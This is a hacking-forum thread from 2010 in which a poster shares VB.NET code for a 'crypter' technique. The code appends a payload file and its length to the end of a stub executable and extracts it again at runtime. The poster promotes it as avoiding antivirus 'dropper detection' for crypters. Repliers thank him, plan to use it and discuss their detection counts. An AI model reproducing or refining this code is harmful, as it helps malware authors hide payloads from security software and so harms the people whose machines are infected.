Hack Forums
[.NET] [SCR] New way of EOF Data (No Dropper Detection) ! - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [SCR] New way of EOF Data (No Dropper Detection) ! (/showthread.php?tid=429735)

Pages: Pages 1 2 3 4


[SCR] New way of EOF Data (No Dropper Detection) ! - pr0t0typ3 - May 19, 2010

Hi
I just tried somethings in vb and found a new way of writing/reading eof data without detection and filesplit.
So let's start:
Code
Public Sub write_file(ByVal stub As String, ByVal file As String, ByVal output_path As String)
        Dim size As Long
        size = file.Length
        FileOpen(1, output_path, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
        FilePut(1, stub & file & size)
        FileClose()
    End Sub
This function will take both input file ( stub + file to crypt) then it will write both file toghether without splitting them !!! At the end of the new file the function will write the lenght of the string of the second file (also without filesplit)
No you will think : Who can you now split them again?
First of all I'll give credits to xKillerxPanther for his Function for reading EOF data. Then I'll continue to my functions.
here is the code for the stub to split them again:
Code
Public Function extract_file(ByVal path As String) As String
        Dim read_sze As String = ReadEOFData(path)
        Dim in1 As String
        Dim ex As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        in1 = Space(LOF(1))
        FileGet(1, in1)
        FileClose()
        ex = in1.Substring(in1.Length - read_sze.Length - read_sze, read_sze)
        Return ex
    End Function
    Public Function ReadEOFData(ByRef FilePath As String) As String
        Dim EOFBuf As String
        Dim lPos As Integer
        If Dir(FilePath) = "" Then
            Exit Function
        End If
        Dim ReadFile As String = IO.File.ReadAllText(FilePath)
        lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
        EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
        ReadEOFData = StrReverse(EOFBuf)
        If ReadEOFData = "" Then
        End If
        Exit Function
    End Function
    Public Function GetNullBytes(ByRef lNum As Object) As String
        Dim Buf As String
        Dim i As Short
        For i = 1 To lNum
            Buf = Buf & Chr(0)
        Next
        GetNullBytes = Buf
    End Function
First of all my function will read the eof data this only contains the lenght of the second file. Then the function reads the complete server and after that it will generate a substring starting at the start of the second file to the end of the file and so the second file will be extracted again and you will have no Dropper Detection.
I hope you like it and give me proper credits. This is an inovation in the development of crypters because it will make the EOF attractive again without Junk Code or Icons.
Your pr0t0typ3
P.S. Leechers have small balls !!!!! Say at least thanks !


* - Joler1302 - May 19, 2010

Thanks for contributing.

Gonna link to this in my thread.

:)


* - Sikandar - May 19, 2010

cool
nice post dude
gonna try this
and im also trying the method of julian
adding it as resource
of course credits to him and cook1e


* - pr0t0typ3 - May 19, 2010

41 people at least in this forum should fuck them selfs.. 43 views and 2 replays anyway thanks for the feedback.. I'm glad you like it


* - Kōtei - May 19, 2010

Just saw this now. Very nice dude. Will wait for others results....I cbf to try it atm.


* - Sikandar - May 19, 2010

(May 19, 2010 10:09 AM)pr0t0typ3 Wrote:  41 people at least in this forum should fuck them selfs.. 43 views and 2 replays anyway thanks for the feedback.. I'm glad you like it

no dont worry
others dont know how to use it
positively sure


* - stoney666 - May 19, 2010

Hey dont tell me to fuck my self i took a look but havent used it if i do i will say thanks :p


* - pr0t0typ3 - May 19, 2010

(May 19, 2010 10:11 AM)Sikandar Wrote:  no dont worry
others dont know how to use it
positively sure
I hope so because it took sometime to test and make it


* - xvisceral - May 19, 2010

I also looked at it to see what language it was. Saw that it was VB.Net and not interested in even looking at the code. So don't assume everyone is an ungrateful leecher - which you will get no matter what you post


* - pr0t0typ3 - May 19, 2010

I'm sorry but I was akind of pissed of because there are many leechers around here and if you get that much views and no reply you normal count 1 and 1 together... sry


* - HackerSnor - May 19, 2010

im having 2 more detections ,
but where to add this piece of code
sry but this is looking difficult


* - pr0t0typ3 - May 19, 2010

this isn't just a function to add it is a way of writing and reading eof data so you need some help .. pm me


* - dark - May 19, 2010

thanks but it is no useful for me since im not "coder".


* - pr0t0typ3 - May 19, 2010

thanks anyway for the thanks .. xD


* - acidfreak - May 19, 2010

i love you pr0t0 <3
^_^

gonna try this now